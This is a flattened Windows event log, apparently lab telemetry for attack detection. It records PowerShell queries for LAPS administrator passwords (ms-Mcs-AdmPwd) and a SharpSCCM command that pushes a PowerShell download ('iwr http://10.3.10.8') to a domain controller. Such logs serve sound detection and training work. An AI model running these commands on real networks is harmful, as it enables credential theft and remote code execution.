4104 1 5 2 15 0x0 274171 Microsoft-Windows-PowerShell/Operational arrakis.snapattack.labs 1 1 Get-AdComputer arrakis -Properties ms-Mcs-AdmPwd 50c486b9-fb82-4f49-9fa5-06b9b112af83 4688 2 0 13312 0 0x8020000000000000 1390305 Security WIN10-21H1.snapattack.labs S-1-5-21-1720375312-3826971191-370251595-1106 snapadmin snapattack 0x7a57a 0x10c0 C:\Users\snapadmin\SharpSCCM.exe %%1936 0x15cc "C:\Users\snapadmin\SharpSCCM.exe" exec -p "powershell.exe -c iwr http://10.3.10.8 -useb" -d DC01 -sms 10.3.10.6 -sc SNA --no-banner S-1-0-0 - - 0x0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe S-1-16-12288 4104 1 5 2 15 0x0 274171 Microsoft-Windows-PowerShell/Operational arrakis.snapattack.labs 1 1 Get-AdComputer arrakis -Properties ms-Mcs-AdmPwd 50c486b9-fb82-4f49-9fa5-06b9b112af83